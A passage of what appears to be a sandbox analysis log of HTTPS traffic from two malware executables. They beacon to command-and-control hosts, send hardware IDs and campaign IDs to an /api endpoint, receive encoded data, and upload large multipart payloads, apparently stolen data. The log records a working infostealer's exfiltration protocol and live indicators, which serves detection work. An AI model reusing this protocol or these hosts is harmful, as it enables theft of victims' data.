cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1722&rtt_var=669&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21381&delivery_rate=1607929&cwnd=252&unsent_bytes=0&cid=bb6dc3bcd39cf5f2&ts=2632&x=0"
2024-12-18 14:57:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49972	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:22 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-18 14:57:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:57:24 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qbb4499kavtepfagk0k0frv12i; expires=Sun, 13-Apr-2025 08:44:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kUf9bgUw%2FzvYf7TOH6mO2%2BNk8Vpj8IXlc%2F1OroWiVENkq6hLPhe8UjaYYjFYY0IFnGD7M2TnDlhHWy%2BmBKKU1ICuGLBMuE1X23sfOuKYTwzkRQ3GcsJffS6wvK7f9FKNDTDKOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f400144891f42e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1771&rtt_var=703&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=1648785&cwnd=197&unsent_bytes=0&cid=1a6f1adec350ff27&ts=1722&x=0"
2024-12-18 14:57:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:57:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49976	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:23 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LD0JSJ4D2HXLHBF5VT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1352 Host: grannyejh.lat
2024-12-18 14:57:23 UTC	1352	OUT	Data Raw: 2d 2d 4c 44 30 4a 53 4a 34 44 32 48 58 4c 48 42 46 35 56 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 44 30 4a 53 4a 34 44 32 48 58 4c 48 42 46 35 56 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 44 30 4a 53 4a 34 44 32 48 58 4c 48 42 46 35 56 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --LD0JSJ4D2HXLHBF5VTContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--LD0JSJ4D2HXLHBF5VTContent-Disposition: form-data; name="pid"1--LD0JSJ4D2HXLHBF5VTContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-18 14:57:28 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lcem71mjvl7skobe75arqc8pu0; expires=Sun, 13-Apr-2025 08:44:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TiYKGpbhCniUN1REWHZ5Qv3OkAYEr%2FitDPRzQKinngOcKIWdjQsHxf1qJOSVh6XuyJX%2FgSJcHrxLqHXRQ%2Fg%2FmGLDXplED758ESdJFOfgpXNMhsC3YI3KKW%2FWOhTX6I12"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40014b2f3f7c81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1787&rtt_var=684&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2266&delivery_rate=1582655&cwnd=240&unsent_bytes=0&cid=45057ce672633415&ts=4577&x=0"
2024-12-18 14:57:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49979	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lossekniyyt.click
2024-12-18 14:57:25 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
2024-12-18 14:57:28 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=as0bs0pep0d8d6tclkaudsi8pb; expires=Sun, 13-Apr-2025 08:44:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pgtpJz0ZDLphxBlKmVp2piAgZdNX815FYr9eJBBSXmN85tAvrQL0g3powDslp9D6Yeh%2ByFB4U6HFzMlRzkqYG9WECqaB1b%2FNJfLUVDUnV0qOGWrXxmVO2WasDrB3BxdJNEn5Wg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40015a19c14332-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&min_rtt=1663&rtt_var=750&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=943&delivery_rate=1755862&cwnd=118&unsent_bytes=0&cid=c4c7112eb8a13dc1&ts=3001&x=0"
2024-12-18 14:57:28 UTC	330	IN	Data Raw: 31 64 32 66 0d 0a 38 61 49 69 6c 72 49 2b 4a 38 72 5a 53 74 70 51 57 35 2f 36 76 45 39 37 4d 65 6d 74 59 52 48 6f 35 48 35 71 33 69 42 79 63 57 36 4b 67 46 53 30 69 41 6f 4c 36 4b 6f 76 2b 47 6f 76 37 59 2f 5a 59 31 6c 51 6a 59 39 62 64 34 6d 49 44 51 2f 79 41 67 51 63 54 4d 76 45 51 2f 72 42 57 77 76 6f 76 44 4c 34 61 67 44 6b 32 4e 6b 68 57 51 76 4c 79 41 74 7a 69 59 67 63 43 37 56 50 41 68 30 4e 6d 63 35 46 2f 74 64 64 51 36 75 31 4a 37 38 31 50 76 36 51 30 69 59 57 57 59 53 50 54 54 4f 4e 6e 6c 78 51 2f 47 30 58 42 51 2b 38 77 31 48 39 6b 45 4d 4c 73 66 73 76 74 48 4a 68 76 5a 76 5a 4c 52 64 58 6a 63 59 4a 65 59 43 41 48 51 36 30 55 42 73 58 42 70 6e 41 52 76 2f 64 56 46 65 6d 76 79 43 30 4d 7a 54 2b 32 4a 42 74 48 6b 76 4c 6c 30 4d 67 75 49 55 4e 47 Data Ascii: 1d2f8aIilrI+J8rZStpQW5/6vE97MemtYRHo5H5q3iBycW6KgFS0iAoL6Kov+Gov7Y/ZY1lQjY9bd4mIDQ/yAgQcTMvEQ/rBWwvovDL4agDk2NkhWQvLyAtziYgcC7VPAh0Nmc5F/tddQ6u1J781Pv6Q0iYWWYSPTTONnlxQ/G0XBQ+8w1H9kEMLsfsvtHJhvZvZLRdXjcYJeYCAHQ60UBsXBpnARv/dVFemvyC0MzT+2JBtHkvLl0MguIUNG
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 69 4d 77 58 66 70 76 47 41 30 61 6c 41 68 63 66 54 4d 75 41 52 76 72 52 55 55 57 36 73 79 4f 7a 4e 79 76 32 6b 64 4d 67 47 56 36 42 77 41 42 7a 6a 59 77 57 42 37 5a 47 48 52 34 4b 6b 38 41 41 75 70 42 62 58 65 6a 6a 61 4a 73 33 4b 66 71 55 79 47 38 6a 45 35 53 42 47 6a 4f 4e 69 6c 78 51 2f 45 6f 56 45 41 2b 59 7a 30 50 38 32 30 35 46 75 72 30 6c 76 53 41 2f 2b 4a 62 55 4c 67 74 5a 68 63 6b 41 65 6f 47 50 47 51 2b 34 41 6c 35 54 43 34 75 41 47 4c 54 78 55 55 36 6b 73 54 2b 34 63 69 61 7a 67 5a 34 71 46 52 50 54 6a 77 64 79 6a 6f 63 59 42 72 4a 47 48 42 55 43 6e 73 39 47 2f 74 42 62 54 36 43 7a 4b 62 55 35 4e 76 32 64 30 79 6b 66 58 34 72 4b 51 7a 33 4b 67 51 52 49 35 41 49 2b 46 41 2b 42 67 6e 58 33 33 6c 4a 43 76 76 73 33 39 69 74 35 2b 70 53 65 64 56 6c Data Ascii: iMwXfpvGA0alAhcfTMuARvrRUUW6syOzNyv2kdMgGV6BwABzjYwWB7ZGHR4Kk8AAupBbXejjaJs3KfqUyG8jE5SBGjONilxQ/EoVEA+Yz0P8205Fur0lvSA/+JbULgtZhckAeoGPGQ+4Al5TC4uAGLTxUU6ksT+4ciazgZ4qFRPTjwdyjocYBrJGHBUCns9G/tBbT6CzKbU5Nv2d0ykfX4rKQz3KgQRI5AI+FA+BgnX33lJCvvs39it5+pSedVl
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 54 50 45 78 68 73 51 2f 42 70 51 49 68 75 59 67 6e 58 33 33 6c 4a 43 76 76 73 33 39 69 74 35 2b 70 53 65 64 56 6c 65 67 38 6f 47 66 49 75 4d 45 67 32 32 54 68 67 64 44 34 48 50 52 50 54 63 56 45 2b 6c 74 53 79 77 4f 7a 4c 32 6e 74 34 73 45 78 50 46 6a 77 52 72 79 74 35 63 50 4c 74 4f 48 52 78 4f 70 73 4e 4f 2b 74 64 4b 42 62 66 31 4d 66 67 31 4e 62 33 41 6e 69 45 51 55 34 44 46 42 33 4f 4e 69 78 6b 4c 75 30 45 64 46 41 61 64 78 30 54 34 32 56 46 44 71 4c 77 73 76 53 41 38 39 4a 54 53 62 56 63 54 6a 4e 64 44 4b 38 71 70 47 78 36 2f 62 52 4d 43 42 64 50 66 44 75 32 51 57 30 6e 6f 34 32 69 2f 4e 7a 48 32 6e 74 59 74 43 31 61 46 78 41 4a 35 6a 49 63 52 42 4c 70 43 45 52 4d 4b 6e 38 42 48 38 38 4a 4f 51 4b 36 70 49 76 68 38 65 66 71 41 6e 6e 56 5a 5a 5a 76 59 Data Ascii: TPExhsQ/BpQIhuYgnX33lJCvvs39it5+pSedVleg8oGfIuMEg22ThgdD4HPRPTcVE+ltSywOzL2nt4sExPFjwRryt5cPLtOHRxOpsNO+tdKBbf1Mfg1Nb3AniEQU4DFB3ONixkLu0EdFAadx0T42VFDqLwsvSA89JTSbVcTjNdDK8qpGx6/bRMCBdPfDu2QW0no42i/NzH2ntYtC1aFxAJ5jIcRBLpCERMKn8BH88JOQK6pIvh8efqAnnVZZZvY
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 6b 56 42 37 52 4b 48 78 77 49 6e 63 5a 47 2b 64 56 54 54 37 71 7a 4a 72 55 35 4e 76 61 4b 33 69 41 64 58 34 2f 48 43 48 6e 4b 79 46 77 50 70 41 4a 49 55 7a 6d 65 7a 30 44 33 78 68 78 61 35 71 4a 6f 76 7a 35 35 70 64 6a 53 49 78 6c 63 68 38 4d 49 65 34 75 4b 45 67 2b 35 53 78 67 62 48 70 4c 45 53 50 58 65 55 30 53 73 76 69 32 38 4e 54 33 37 6c 35 35 6a 57 56 53 54 6a 31 73 7a 70 61 45 70 53 70 31 34 55 41 78 43 69 6f 42 48 2b 4a 41 45 42 61 53 34 4a 4c 41 39 50 2f 53 55 31 43 51 53 58 34 44 4c 44 33 71 50 67 42 30 4e 75 55 4d 55 48 77 61 56 77 30 50 37 33 31 4e 4e 36 50 56 6f 76 79 70 35 70 64 6a 37 4f 68 4a 64 6a 59 38 63 50 5a 50 47 47 77 54 38 47 6c 41 66 42 5a 58 47 52 66 6a 52 57 6b 32 74 73 79 79 35 4e 44 2f 2b 6c 39 6f 6f 47 46 79 50 77 77 31 35 69 Data Ascii: kVB7RKHxwIncZG+dVTT7qzJrU5NvaK3iAdX4/HCHnKyFwPpAJIUzmez0D3xhxa5qJovz55pdjSIxlch8MIe4uKEg+5SxgbHpLESPXeU0Ssvi28NT37l55jWVSTj1szpaEpSp14UAxCioBH+JAEBaS4JLA9P/SU1CQSX4DLD3qPgB0NuUMUHwaVw0P731NN6PVovyp5pdj7OhJdjY8cPZPGGwT8GlAfBZXGRfjRWk2tsyy5ND/+l9ooGFyPww15i
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 33 55 42 63 63 43 4a 54 4d 52 76 76 57 58 55 43 69 74 79 2b 39 4f 54 62 78 32 4a 42 74 48 6b 76 4c 6c 30 4e 64 67 5a 55 4c 43 37 4a 4a 42 67 68 4d 6a 49 35 5a 74 4e 64 51 42 66 44 37 4b 37 4d 35 50 66 32 55 33 69 6b 55 55 35 6e 41 42 48 53 44 6a 51 34 43 75 30 55 62 47 77 65 63 78 6c 4c 34 33 6b 35 41 75 71 6c 6f 39 6e 49 2b 35 64 69 47 62 53 39 55 6d 39 38 41 4d 62 75 51 48 78 36 33 54 78 78 54 45 39 33 5a 41 50 50 63 48 42 33 6f 76 53 65 78 4d 54 62 38 6b 64 49 67 48 46 71 4f 7a 67 56 33 67 49 77 63 44 72 70 44 46 52 6b 50 6b 73 70 4a 38 39 68 62 52 72 72 37 5a 76 67 31 49 62 33 41 6e 67 51 65 51 59 58 66 51 32 7a 45 6e 31 77 50 73 41 4a 49 55 77 69 5a 7a 30 54 7a 33 46 70 41 72 72 59 70 74 7a 4d 35 38 70 7a 56 4a 42 39 53 68 73 6f 4f 64 35 69 4d 46 77 Data Ascii: 3UBccCJTMRvvWXUCity+9OTbx2JBtHkvLl0NdgZULC7JJBghMjI5ZtNdQBfD7K7M5Pf2U3ikUU5nABHSDjQ4Cu0UbGwecxlL43k5Auqlo9nI+5diGbS9Um98AMbuQHx63TxxTE93ZAPPcHB3ovSexMTb8kdIgHFqOzgV3gIwcDrpDFRkPkspJ89hbRrr7Zvg1Ib3AngQeQYXfQ2zEn1wPsAJIUwiZz0Tz3FpArrYptzM58pzVJB9ShsoOd5iMFw
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 45 77 61 57 79 6b 33 33 33 31 39 58 71 62 30 36 75 44 38 7a 37 35 4c 56 4b 42 52 65 68 73 77 46 64 59 47 4b 44 67 47 38 51 52 74 54 51 74 50 48 57 4c 53 49 48 47 61 2f 72 53 4b 2f 50 69 2f 32 6d 64 30 37 46 45 50 4c 67 55 4e 69 6a 5a 64 63 55 4b 70 53 42 78 51 54 33 64 6b 41 38 39 77 63 48 65 69 39 49 62 34 31 50 2f 4f 4b 32 79 73 57 58 49 4c 47 42 33 75 4a 68 68 67 4d 75 30 63 54 48 77 65 55 77 30 2f 77 32 56 4a 4d 70 2f 74 6d 2b 44 55 68 76 63 43 65 44 41 4a 51 68 38 4a 44 62 4d 53 66 58 41 2b 77 41 6b 68 54 41 4a 33 46 51 50 37 57 57 45 43 75 73 53 32 34 4f 54 72 79 6e 4e 67 70 46 6c 4f 41 78 67 4a 31 6a 34 77 58 44 72 46 42 46 68 56 4d 33 59 42 48 37 4a 41 45 42 59 69 67 4a 62 51 31 65 65 4c 57 78 32 30 65 58 38 75 58 51 33 69 47 67 68 73 49 73 55 45 Data Ascii: EwaWyk33319Xqb06uD8z75LVKBRehswFdYGKDgG8QRtTQtPHWLSIHGa/rSK/Pi/2md07FEPLgUNijZdcUKpSBxQT3dkA89wcHei9Ib41P/OK2ysWXILGB3uJhhgMu0cTHweUw0/w2VJMp/tm+DUhvcCeDAJQh8JDbMSfXA+wAkhTAJ3FQP7WWECusS24OTrynNgpFlOAxgJ1j4wXDrFBFhVM3YBH7JAEBYigJbQ1eeLWx20eX8uXQ3iGghsIsUE
2024-12-18 14:57:28 UTC	304	IN	Data Raw: 4d 64 57 39 2f 39 66 56 4b 48 37 5a 76 67 31 4c 37 33 41 6e 68 4e 5a 51 59 6a 66 41 48 79 62 75 46 78 51 70 58 78 51 47 42 71 55 30 45 50 69 32 31 46 4a 75 59 56 6f 34 47 5a 72 72 38 71 4d 66 77 59 54 6c 50 42 4e 4d 34 76 47 52 44 47 6c 41 67 5a 54 56 4d 47 4f 41 4f 61 51 42 41 58 76 75 44 71 71 4e 44 72 72 6d 35 6b 54 4a 33 53 64 78 51 52 6a 6a 5a 45 54 53 50 49 43 48 31 4e 55 71 6f 42 4a 38 38 74 4e 55 36 57 72 4c 2f 67 4e 64 37 32 41 6e 6e 56 5a 5a 6f 6a 42 44 58 53 63 6c 31 45 76 71 6b 67 58 41 77 75 45 7a 77 43 36 6b 46 6f 46 38 4f 68 6d 2b 44 59 6f 76 63 43 4f 66 30 49 47 32 4a 68 54 49 5a 58 49 42 55 69 71 41 6b 68 42 51 74 50 53 41 4b 79 51 47 30 61 36 71 53 36 37 4a 44 71 36 70 75 41 4b 41 31 36 4e 32 42 4a 4e 74 49 45 47 42 62 70 56 41 56 38 5a Data Ascii: MdW9/9fVKH7Zvg1L73AnhNZQYjfAHybuFxQpXxQGBqU0EPi21FJuYVo4GZrr8qMfwYTlPBNM4vGRDGlAgZTVMGOAOaQBAXvuDqqNDrrm5kTJ3SdxQRjjZETSPICH1NUqoBJ88tNU6WrL/gNd72AnnVZZojBDXScl1EvqkgXAwuEzwC6kFoF8Ohm+DYovcCOf0IG2JhTIZXIBUiqAkhBQtPSAKyQG0a6qS67JDq6puAKA16N2BJNtIEGBbpVAV8Z
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 32 62 65 64 0d 0a 6c 6b 42 49 46 72 76 74 77 36 48 78 35 2b 59 6d 65 64 55 6b 42 30 4a 70 51 4a 4e 72 55 41 30 61 6c 41 67 5a 54 56 4d 47 4f 41 4f 61 51 42 41 58 76 75 44 71 71 4e 44 72 72 6d 35 6b 54 4a 33 32 4d 79 51 5a 30 6d 73 51 79 41 36 68 46 55 46 31 4d 6e 49 41 59 7a 5a 41 55 42 5a 66 31 61 4b 42 79 59 62 32 74 33 53 4d 58 56 4a 33 65 54 6c 32 4e 67 42 6b 50 72 41 41 2b 47 42 69 55 67 41 36 30 31 68 77 64 2b 50 56 6f 76 43 4e 35 70 63 69 4d 64 6b 77 41 33 4a 39 52 62 4d 53 66 58 42 37 38 47 6b 4a 64 54 49 47 41 47 4c 53 58 58 31 65 36 76 53 75 75 4d 58 37 44 70 74 30 37 46 46 79 41 7a 6a 31 4e 70 49 73 64 43 37 49 41 49 51 55 42 67 38 4e 46 38 2b 35 69 53 36 2b 76 4c 37 59 30 4f 62 33 57 6e 69 4a 5a 43 37 4b 50 53 7a 4f 31 79 46 77 51 2f 42 70 51 Data Ascii: 2bedlkBIFrvtw6Hx5+YmedUkB0JpQJNrUA0alAgZTVMGOAOaQBAXvuDqqNDrrm5kTJ32MyQZ0msQyA6hFUF1MnIAYzZAUBZf1aKByYb2t3SMXVJ3eTl2NgBkPrAA+GBiUgA601hwd+PVovCN5pciMdkwA3J9RbMSfXB78GkJdTIGAGLSXX1e6vSuuMX7Dpt07FFyAzj1NpIsdC7IAIQUBg8NF8+5iS6+vL7Y0Ob3WniJZC7KPSzO1yFwQ/BpQ
2024-12-18 14:57:28 UTC	1369	IN	Data Raw: 4a 66 75 73 6b 63 55 2b 6a 6a 65 76 5a 79 4b 37 33 41 6e 6d 6f 61 51 5a 6e 4a 41 47 57 4a 77 53 49 32 6d 30 77 58 45 68 71 44 7a 55 7a 56 30 30 31 50 6c 6f 55 39 75 7a 77 33 2b 6f 37 50 62 56 63 54 68 49 39 62 53 73 72 4f 58 44 66 79 41 67 68 54 56 4e 50 31 51 2f 72 65 57 31 4f 35 39 67 2b 32 4e 54 6a 72 69 4e 4d 68 4f 46 43 61 78 55 4d 39 79 6f 42 63 55 4f 34 4d 55 42 63 64 30 35 67 51 70 6f 73 4a 46 76 2f 72 65 71 64 38 49 4c 32 4f 6e 6e 56 4c 48 63 76 64 51 79 76 4b 77 52 38 61 72 6b 51 54 42 51 2f 55 2f 6e 37 52 78 31 39 56 72 72 67 57 68 68 6b 31 2b 35 2f 45 4b 68 39 31 71 34 39 4e 4d 34 58 47 52 44 48 38 43 6c 41 73 51 74 50 59 41 4b 79 51 61 55 61 6d 74 53 2b 75 49 33 54 59 6a 39 30 39 48 31 44 4c 67 55 4e 31 79 74 35 4d 52 76 78 47 41 56 4e 55 77 Data Ascii: JfuskcU+jjevZyK73AnmoaQZnJAGWJwSI2m0wXEhqDzUzV001PloU9uzw3+o7PbVcThI9bSsrOXDfyAghTVNP1Q/reW1O59g+2NTjriNMhOFCaxUM9yoBcUO4MUBcd05gQposJFv/reqd8IL2OnnVLHcvdQyvKwR8arkQTBQ/U/n7Rx19VrrgWhhk1+5/EKh91q49NM4XGRDH8ClAsQtPYAKyQaUamtS+uI3TYj909H1DLgUN1yt5MRvxGAVNUw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49998	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:33 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EX2WG9LPUJLT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12806 Host: lossekniyyt.click
2024-12-18 14:57:33 UTC	12806	OUT	Data Raw: 2d 2d 45 58 32 57 47 39 4c 50 55 4a 4c 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 58 32 57 47 39 4c 50 55 4a 4c 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 58 32 57 47 39 4c 50 55 4a 4c 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 45 58 32 57 47 39 4c 50 55 4a 4c 54 0d 0a 43 6f 6e 74 65 Data Ascii: --EX2WG9LPUJLTContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--EX2WG9LPUJLTContent-Disposition: form-data; name="pid"2--EX2WG9LPUJLTContent-Disposition: form-data; name="lid"9Z1cyc----EX2WG9LPUJLTConte
2024-12-18 14:57:36 UTC	1045	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=upuurqo2vrnf423vm70s86rkc3; expires=Sun, 13-Apr-2025 08:44:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L%2FCMJJdPCTJKMBKIJPcKnES5GwB8MIv8JxD%2BpY5J2z3kGTOoyNH0cDuJ3oBDYHtaM5a2KEbYQugFYe1pL6Wpe2SYXVJW6bjllHb%2BlZHkXIJIEoXrrXVN43q3UR3LUdbAlsgmyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001884f5e7292-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1962&rtt_var=745&sent=13&recv=18&lost=0&retrans=0&sent_bytes=2841&recv_bytes=13741&delivery_rate=1460730&cwnd=252&unsent_bytes=0&cid=76f3a9a46288d987&ts=3541&x=0"
2024-12-18 14:57:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	50002	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:34 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MH3Z2YBZZ3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580372 Host: grannyejh.lat
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: 2d 2d 4d 48 33 5a 32 59 42 5a 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 48 33 5a 32 59 42 5a 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 48 33 5a 32 59 42 5a 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 48 33 5a 32 59 42 5a 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --MH3Z2YBZZ3Content-Disposition: form-data; 